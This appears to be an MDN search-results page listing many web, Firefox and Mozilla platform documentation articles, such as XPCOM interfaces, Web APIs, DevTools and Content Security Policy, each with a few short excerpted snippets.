...And 22 more matches
Other form controls - Learn web development
note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text content.
... (using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text).
...modern browsers provide a drag handle that you can drag to increase/decrease the size of the text area.
...And 22 more matches
Theme concepts
these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension.
... if you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated.
...these resources are then packed in a zip for publication on addons.mozilla.org (amo) or for self-distribution.
...And 22 more matches
Adding a new CSS property
this document assumes that you have a specifcation for the property available.
... issues about how to write such a specification (including things such as whether it is appropriate to use prefixes or when properties should be inherited by default) are not covered here.
... this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
...And 22 more matches
nss tech note8
background information on libssl's cache functions and sids nss technical note: 8 27 february 2006 nelson b.
... bolyard here is some background information on libssl's cache functions and sids.
... the protocol code builds such a structure, and then asks the cache code (client or server) to save the info.
...And 22 more matches
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
...for projects that don't use mozilla's release automation and would like to be signed for secure launching on os 10.8 mountain lion and later, this guide should provide some insight into how to make sure applications are signed correctly using apple's codesign tool.
... getting a signing certificate in order to code-sign an application, you need a signing certificate.
...And 22 more matches
Places utilities for JavaScript
its not an interface, and as such it will never be frozen, but it provides some easy to use functions that can save you from reinventing the wheel and cluttering up your own classes/functions when you need it.
... there are several predefined versions of this for common calls.
... load_in_sidebar_anno - this annotation is associated with bookmarks or items that should load in the sidebar automatically.
...And 22 more matches
nsIJumpListBuilder
callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild().
... lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step.
...users can change the number through system preferences.
...And 22 more matches
nsIMsgIncomingServer
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void clearallvalues(); void cleartemporaryreturnreceiptsfilter(); void closecachedconnections(); void configuretemporaryfilters(in nsimsgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsimsgfilterlist filterlist); obsolete since gecko 1.8 void displayofflinemsg(in nsimsgwindow awindow); boolean equals(in nsimsgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getboolattribute(in string name); boolean getboolvalue(in s...
...tring attr); acstring getcharattribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamecha...
...oldname, in acstring newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setboolattribute(in string name, in boolean value); void setboolvalue(in string attr, in boolean value); void setcharattribute(in string name, in acstring value); void setcharvalue(in string attr, in acstring value); void setdefaultlocalpath(in nsilocalfile adefaultlocalpath); void setfilevalue(in string relpref, in string abspref, in nsilocalfile avalue); void setfilterlist(in nsimsgfilterlist afilterlist); void setintattribute(in string name, in long value); void setintvalue(in string attr, in long value); void setunicharattribute(in string name, in astring value); void setunicharvalue(in string attr, in astring va...
...And 22 more matches
Performance
however, many things cause various database operations to be slow.
...therefore, if you are doing many transactions in a row, you will get significant performance improvements by surrounding them in a transaction.
...if the user shuts down the browser soon after you do this type of operation, you can delay shutdown (possibly for many tens of seconds for large numbers of transactions and slow disks), making it look like the browser is hung.
...And 22 more matches
XPCOM
interfaces in xpcom are defined in a dialect of idl called xpidl.
...gecko or necko) or by an application or even by an extension.
...the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
...And 22 more matches
ctypes
method overview ctype arraytype(type[, length]); cdata cast(data, type); ctype functiontype(abi, returntype[, argtype1, ...]); cdata int64(n); string libraryname(name); library open(libspec); ctype pointertype(typespec); ctype structtype(name[, fields]); cdata uint64(n); properties property type description errno number the value of the latest system error.
...cannot be set.
...cannot be set.
...And 22 more matches
Version, UI, and Status Information - Plugins
you can also use the status line to notify the user of plug-in-related information.
... to accomplish this, the plug-in calls the npn_status method to display your message on the status line.
... getting agent information a plug-in can check which browser is running on the user's current system.
...And 22 more matches
Dominators view - Firefox Developer Tools
starting in firefox 46, the memory tool includes a new view called the dominators view.
... this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references.
...for example: variables allocated on the stack need to be rooted, or internal caches may need to root their​ elements.
...And 22 more matches
Intensive JavaScript - Firefox Developer Tools
this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience.
... you can use the frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention.
... in this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approaches to fixing them.
...And 22 more matches
Event - Web APIs
WebAPIEvent
an event can be triggered by the user action e.g.
...it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
... many dom elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them.
...And 22 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off.
... note: support for this api varies somewhat across browsers, with many requiring vendor prefixes and/or not implementing the latest specification.
... methods on the element interface element.requestfullscreen() asks the user agent to place the specified element (and, by extension, its descendants) into full-screen mode, removing all of the browser's ui elements as well as all other applications from the screen.
...And 22 more matches
Recording a media element - Web APIs
while the article using the mediastream recording api demonstrates using the mediarecorder interface to capture a mediastream generated by a hardware device, as returned by navigator.mediadevices.getusermedia(), you can also use an html media element (namely <audio> or <video>) as the source of the mediastream to be recorded.
...you can stop the video by clicking the creatively-named "stop" button.
...on the left is a start button and a <video> element which displays the video preview; this is the video the user's camera sees.
...And 22 more matches
RTCInboundRtpStreamStats - Web APIs
the webrtc api's rtcinboundrtpstreamstats dictionary, based upon rtcreceivedrtpstreamstats and rtcstats, contains statistics related to the receiving end of an rtp stream on the local end of the rtcpeerconnection.
... averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets.
... bytesreceived a 64-bit integer which indicats the total numer of bytes that have been received so far for this media source.
...And 22 more matches
Service Worker API - Web APIs
service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available).
...they will also allow access to push notifications and background sync apis.
...it takes the form of a javascript file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available).
...And 22 more matches
Basic concepts behind Web Audio API - Web APIs
a simple, typical workflow for web audio would look something like this: create the audio context.
...this is called channel notation.
...the number after the period indicates the number of those channels which are reserved for low-frequency effect (lfe) outputs; these are often referred to as subwoofers.
...And 22 more matches
Web Locks API - Web APIs
while held, no other script executing in the same origin can acquire the same lock, which allows a web app running in multiple tabs or workers to coordinate work and the use of resources.
... the lock is automatically released when the task completes.
... the api provides optional functionality that may be used as needed, including: returning values from the asynchronous task shared and exclusive lock modes conditional acquisition diagnostics to query the state of locks in an origin an escape hatch to protect against deadlocks locks are scoped to origins; the locks acquired by a tab from https://example.com have no effect on the locks acquired by a tab from https://example.org:8080 as they are separate origins.
...And 22 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
a simple example might look like this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on.
... this example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of html as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are.
... resources that javascript can request, like json, imported scripts, or web workers.
...And 22 more matches
Equality comparisons and sameness - JavaScript
there are four equality algorithms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
...for numbers it uses slightly different semantics to gloss over two different edge cases.
...this is useful in representing certain mathematical solutions, but as most situations don't care about the difference between +0 and -0, strict equality treats them as the same value.
...And 22 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of netscape's capabilities that follows.
...despite the fact that very often namespaces appear to be uris, they do not, in fact, refer to a resource located at that address.
...another string that is occasionally seen in stylesheets, "http://www.w3.org/tr/wd-xsl", indicates compliance with an earlier working draft (hence the wd) of the w3c document.
...And 22 more matches
Interacting with page scripts - Archive of obsolete content
by default, content scripts loaded by add-ons and scripts loaded by web pages are insulated from each other: content scripts can't interact directly with page scripts or access javascript objects they create page scripts can't interact directly with content scripts or access objects they create.
...this guide describes: how to share objects between content scripts and page scripts how to send messages between content scripts and page scripts sharing objects with page scripts there are two possible cases here: a content script might want to access an object defined by a page script a content script might want to expose an object to a page script access objects defined by page scripts to access page script objects from content scripts, you can use the global unsafewindow object.
... with unsafewindow you can see javascript objects that have been defined by page scripts, and if a page script has modified the behavior of native dom functions, you'll get the modified version of them as well.
...And 21 more matches
lang/functional - Archive of obsolete content
when the method is invoked on an instance of the object, the original function is called.
...calling the wrapped version will call the original function during the next event loop.
... this is similar to calling settimeout with no wait (i.e.
...And 21 more matches
package.json - Archive of obsolete content
it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company.
... note: this is deprecated along with cfx; it's not available when using jpm.
... engines object with supported applications (key) and required version numbers (value).
...And 21 more matches
Adding menus and submenus - Archive of obsolete content
in this section we'll look into more specialized menus and what you can do with them.
... adding a new menu we already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want.
...you can do this with a menubar.
...And 21 more matches
Security best practices in extensions - Archive of obsolete content
this is written from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey.
...content from a domain (such as http://www.example.com) can only access that same domain.
... files loaded using the file protocol can access files on the user's disk and other local devices.
...And 21 more matches
Notes on HTML Reflow - Archive of obsolete content
the html formatting objects are called frames : a frame corresponds to the geometric information for (roughly) a single element in the content model; the frames are arranged into a hierarchy that parallels the containment hierarchy in the content model.
...in this case, the primary frame is the frame containing the first line of text, with continuing frames (or continuations ) created for subsequent lines.
...elements later "in the flow" typically do not affect the geometry of elements that are earlier "in the flow", so layout can proceed left-to-right, top-to-bottom through the document.
...And 21 more matches
Download Manager preferences - Archive of obsolete content
a boolean value that indicates whether the anti virus software should try to clean a downloaded file when a virus is detected.
... browser.download.manager.addtorecentdocs a boolean value that indicates whether or not new downloads should be added to the recent documents list.
... browser.download.manager.alertonexeopen a boolean value that indicates whether the ui should alert the user about the dangers of opening (executing) an exe.
...And 21 more matches
Template Builder Interface - Archive of obsolete content
the processes of creating a builder for an element applies both when an element is created when the window is loaded and when an element is inserted dynamically.
... templates can only be used in xul documents, however, there is no requirement that the templates generate xul elements.
...this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
...And 21 more matches
Creating a Skin - Archive of obsolete content
let's create a skin that we can apply to it.
... normally, a skin would apply to the entire application, but we'll focus on just the find files dialog to make it easier.
...or, you can temporarily place it in the content directory and refer to it using a stylesheet directive.
...And 21 more matches
browser - Archive of obsolete content
are you here looking for information about the firefox web browser, or because you'd like to download the latest version of firefox?
... get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome urls.
... attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward, contentdocument, contentprincipal, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, swapdocshells examples <!-- shows mozill...
...And 21 more matches
NPAPI plugin reference - Archive of obsolete content
browser-side plug-in api this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in.
... npanycallbackstruct contains information required during embedded mode printing.
...And 21 more matches
Old Proxy API - Archive of obsolete content
warning: the spidermonkey proxy implementation is a prototype and the proxy api and semantics specifications are unstable.
... the spidermonkey implementation may not reflect the latest specification draft.
... terminology catch-all mechanism (or "intercession api") the technical term for this feature.
...And 21 more matches
Implementing controls using the Gamepad API - Game development
it features a case study game — hungry fridge, created by enclave games.
... controls for web games historically playing games on a console connected to your tv was always a totally different experience to gaming on the pc, mostly because of the unique controls.
...the gamepad api achieves this by providing an interface exposing button presses and axis changes that can be used inside javascript code to handle the input.
...And 21 more matches
What is a Domain Name? - Learn web development
any internet-connected computer can be reached through a public ip address, either an ipv4 address (e.g.
... computers can handle such addresses easily, but people have a hard time finding out who's running the server or what service the website offers.
... to solve all those problems we use human-readable addresses called domain names.
...And 21 more matches
HTML forms in legacy browsers - Learn web development
in the mobile world, when neither the browser nor the os can be updated such as on older android phones or iphones, the stock browsers that don't update are also legacy browsers.
...fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers.
...mdn has compatibility tables available for most elements, properties and apis that can be used in a web page.
...And 21 more matches
Mozilla's Section 508 Compliance
part of section 508 (§1194.21) specifically relates to mozilla, and the ability of us government agencies to buy software that contains mozilla software components.
... here is a detailed list of section 508 bugs in mozilla's seamonkey application suite.
... requirement windows linux/unix mac os requirement windows linux/unix mac os (a) when software is designed to run on a system that has a keyboard, product functions shall be executable from a keyboard where the function itself or the result of performing a function can be discerned textually.
...And 21 more matches
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard behavior, which can vary from platform to platform.
...in this case, adding a complete or even a partial accessibility solution is major work, and will require more than one full time person as well as cooperation from windows assistive technology vendors when parts of your msaa solution isn't working.
... often these kinds of toolkits don't use a separate window for each control; in that case remember to generate a unique 32 bit child id for each control so that the msaa event system can call back for the right iaccessible for each event.
...And 21 more matches
A bird's-eye view of the Mozilla framework
tiner last updated date: 11/23/05 statement of purpose the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... the article focuses on the architecture of the overall framework supporting the mozilla application suite, not the architecture of the individual applications themselves.
...thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
...And 21 more matches
Experimental features in Firefox
these nightly builds of firefox typically include experimental or partially-implemented features, including those for proposed or cutting-edge web platform standards.
...you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities.
...the current implementation is a little inelegant but is basically functional.
...And 21 more matches
Following the Android Toasts Tutorial from a JNI Perspective
for example, navigating away from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later.
... toasts automatically disappear after a timeout.
... context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privileged javascript scope via the nativewindow object.
...And 21 more matches
Activity Monitor, Battery Status Menu and top
(apple support documentation specifically recommends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided.
... activity monitor can still be useful, however.
...they can all be customized to show any of the available measurements (by right-clicking on the column strip) but only the "energy" tab groups child processes with parent processes, which is useful, so it's the best one to use.
...And 21 more matches
A guide to searching crash reports
this guide to searching through crash reports may help you locate the crash reports that will help you find and fix the firefox bug you're working on.
... specifically, crash-stats offers two basic functions: searching you can search the crash reports database by over 100 criteria: crash signature, date, platform, product, version, etc.
... grouping you can cluster the results of each search into groups using the same criteria.
...And 21 more matches
Necko walkthrough
nshttpchannel::asyncopen called from openuri; openchannel isn't named the best, since the opening happens in the context of openuri, its calling function.
...but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen.
... receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
...And 21 more matches
GC Rooting Guide
"gc thing" is the term used to refer to memory allocated and managed by the spidermonkey garbage collector.
... the main types of gc thing pointer are: js::value jsobject* jsstring* jsscript* jsid note that js::value and jsid can contain pointers internally even though they are not a normal pointer type, hence their inclusion in this list.
... gc things on the stack js::rooted<t> all gc thing pointers stored on the stack (i.e., local variables and parameters to functions) must use the js::rooted<t> class.
...And 21 more matches
Functions
(but note that objects of other classes can be callable and can even have typeof obj == "function".) script functions functions written in javascript and compiled to bytecode.
...(nameexpressions are basic expressions like string and x that would eat up a huge amount of run time if the engine weren't smart enough to avoid symbol table lookups.) general closures are the base case.
...when a name is evaluated that doesn't refer to a local variable, the interpreter consults the scope chain to find the variable.
...And 21 more matches
SpiderMonkey 1.8
the mozilla javascript team is pleased to announce the release of spidermonkey 1.8 release candidate 1.
... you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js-1.8.0-rc1.tar.gz (md5 checksum: eaad8815dcc66a717ddb87e9724d964e).
... —9 march 2009 known issues spidermonkey 1.8 has one known significant regression from 1.7.
...And 21 more matches
Gecko states
indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected.
... state_checked the object is checked state_mixed indicates that the state of a three-state check box or toolbar button is not determined.
... state_hottracked the object is hot-tracked by the mouse, which means that its appearance has changed to indicate that the mouse pointer is located over it.
...And 21 more matches
Setting up the Gecko SDK
the following four sections tell the developer how to download and organize the gecko sdk and create a new project in which components like weblock can be created.
...the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8).
...you may want to check for newer versions at gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ once you download the sdk, you can expand it into any convenient location.
...And 21 more matches
Interfacing with the XPCOM cycle collector
if you have a class that you think is involved in a cyclical-ownership leak, this page is for you.
... periodically the collector wakes up and examines any suspicious pointers that have been sitting in its buffer for a while.
... this is the scanning stage of the collector's operation.
...And 21 more matches
mozIRegistry
and it happens that we've chosen, up till now, to store that information in the "netscape registry" file.
... which explains how this information came to be associated with the notion of a "registry." someday (i hope) this page will be properly titled so that everybody knows it is the place to come to in order to find out how they are supposed to link together the various xpcom components that together form the mozilla browser.
...we are proposing a new "moziregistry" xpcom interface that provides the same level of function as is currently provided by the "netscape registry" implemented in libreg.
...And 21 more matches
nsIAccessibleStates
state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected.
... state_mixed 0x00000020 indicates that the state of a three-state check box or toolbar button is not determined.
... state_hottracked 0x00000080 the object is hot-tracked by the mouse, which means that its appearance has changed to indicate that the mouse pointer is located over it.
...And 21 more matches
nsIAlertsService
toolkit/components/alerts/nsialertsservice.idlscriptable this interface can be used to notify the user of something that does not require an immediate reaction.
... for example, it can be used to notify the user that their downloads are complete or that they have new mail.
... note: since gecko 22, the notifications are provided by firefox and have become platform-independent.
...And 21 more matches
nsINavHistoryResultViewer
methods containerclosed() called when a container node's state changes from closed to opened.
... containeropened() called when a container node's state changes from closed to opened.
... invalidatecontainer() called when something has happened that requires that the contents of a container be rebuilt.
...And 21 more matches
nsINavHistoryService
= components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); method overview astring getpagetitle(in nsiuri auri); void markpageasfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long addvisit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, in boolean aisredirect, in long long asessionid); obsolete since gecko 22.0 nsinavhistoryquery getnewquery(); nsinavhistoryqueryoptions getnewqueryoptions(); nsinavhistoryresult executequery(in nsinavhistoryquery aquery, in nsinavhistory...
...istoryqueryoptions options); autf8string queriestoquerystring([array, size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void addobserver(in nsinavhistoryobserver observer, in boolean ownsweak); void removeobserver(in nsinavhistoryobserver observer); void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports aclosure); void importhistory(in nsifile file); astring getcharsetforuri(in nsiuri auri); astring setcharsetforuri(in nsiuri auri, in astring acharset); attributes attribute type description hashistoryentries boolean true if there is any history.
... this can be used in ui to determine whether the "clear history" button should be enabled or not.
...And 21 more matches
Debugger.Source - Firefox Developer Tools
the two cases are distinguished by the latter having its introductiontype property always being "wasm" and the former having its introductiontype property never being "wasm".
... debugger.source for javascript for a debugger.source instance representing a piece of javascript source code, its properties provide the source code itself as a string, and describe where it came from.
...each script indicates the substring of the overall source to which it corresponds.
...And 21 more matches
DevTools API - Firefox Developer Tools
in terms of user interface, each registered tool lives in its own tab (we call one tab a panel).
... these tabs are located in a box we call a toolbox.
... a toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked).
...And 21 more matches
Edit fonts - Firefox Developer Tools
the fonts tab the fonts tab is located on the right-hand side of the page inspector when it is docked to the bottom of the screen.
... this can be set using em, rem, %, px, vh, or vw units.
... you can select values using the slider or enter a numeric value directly into the text box.
...And 21 more matches
AbstractRange - Web APIs
a range is an object that indicates the start and end points of a section of content within the document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,...
... endcontainer read only the dom node in which the end of the range, as specified by the endoffset property, is located.
...And 21 more matches
HTMLElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><poly...
... htmlelement.iscontenteditable read only returns a boolean that indicates whether or not the content of the element can be edited.
... htmlorforeignelement.dataset read only returns a domstringmap with which script can read and write the element's custom data attributes (data-*) .
...And 21 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
as time passed, of course, we know that computers have evolved into powerful multi-core systems, and javascript has become one of the most prolifically-used languages in the computing world.
... a vast number of the most popular applications are based at least in part on javascript code.
... to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language.
...And 21 more matches
Recommended Drag Types - Web APIs
caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers.
...for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself.
... it is recommended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other types, unless there is no logical text alternative.
...And 21 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk).
... the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers.
... this article describes how browsers determine what local content to purge and when in order to free up needed local storage space.
...And 21 more matches
IndexedDB API - Web APIs
indexeddb is a low-level api for client-side storage of significant amounts of structured data, including files/blobs.
... note: indexeddb api is powerful, but may seem too complicated for simple cases.
... if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly.
...And 21 more matches
Attestation and Assertion - Web APIs
there are two different types of certificates used in webauthn for registration and authentication.
...the sections below describe attestation, which happens during registration, and assertion which happens during authentication.
... attestation when an authenticator registers a new key pair with a service, the authenticator signs the public key with an attestation certificate.
...And 21 more matches
ARIA annotations - Accessibility
typical use cases include edit suggestions (i.e.
... note: you can find all the examples discussed in this article in a demo file at aria-annotations.
... role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion from the overall document.
...And 21 more matches
DOM onevent handlers - Developer guides
elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element).
... you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }.
... an onevent event handler property serves as a placeholder of sorts, to which a single event handler can be assigned.
...And 21 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the html <script> element is used to embed executable code or data; this is typically used to embed or refer to javascript code.
... the <script> element can also be used with other languages, such as webgl's glsl shader programming language and json.
... content categories metadata content, flow content, phrasing content.
...And 21 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
the above example shows typical <select> usage.
...you can include a selected attribute on an <option> element to make it selected by default when the page first loads.
... the <select> element has some unique attributes you can use to control it, such as multiple to specify whether multiple options can be selected, and size to specify how many options should be shown at once.
...And 21 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
the html table body element (<tbody>) encapsulates a set of table rows (<tr> elements), indicating that they comprise the body of the table (<table>).
... the <tbody> element, along with its cousins <thead> and <tfoot>, provide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes.
... content categories none.
...And 21 more matches
Microdata - HTML: Hypertext Markup Language
search engines and web crawlers can extract and process microdata from a web page and use it to provide a richer browsing experience for users.
... search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users.
... microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties.
...And 21 more matches
Choosing between www and non-www URLs - HTTP
in an http url, the first substring that follows the initial http:// or https:// is called the domain name.
... a server isn't necessarily a physical machine: several servers can reside on the same physical machine.
... or, one server can be handled by several machines, cooperating to produce the answer or balancing the load of the requests between them.
...And 21 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
(sometimes you may see mentions of the x-content-security-policy header, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks.
...malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from.
... csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of executable scripts.
...And 21 more matches
Text formatting - JavaScript
you can create strings using string literals or string objects.
... caution: if you edit this page, do not include any characters above u+ffff, until mdn bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ).
... string literals you can create simple strings using either single or double quotes: 'foo' "bar" more advanced strings can be created using escape sequences: hexadecimal escape sequences the number after \x is interpreted as a hexadecimal number.
...And 21 more matches
Intl - JavaScript
intl.locale() constructor for objects that represents a unicode locale identifier.
... static methods intl.getcanonicallocales() returns canonical locale names.
... locale identification and negotiation the internationalization constructors as well as several language sensitive methods of other constructors (listed under see also) use a common pattern for identifying locales and determining the one they will actually use: they all accept locales and options arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property.
...And 21 more matches
Tutorials
whether you are just starting out, learning the basics, or are an old hand at web development, you can find helpful resources here for best practices.
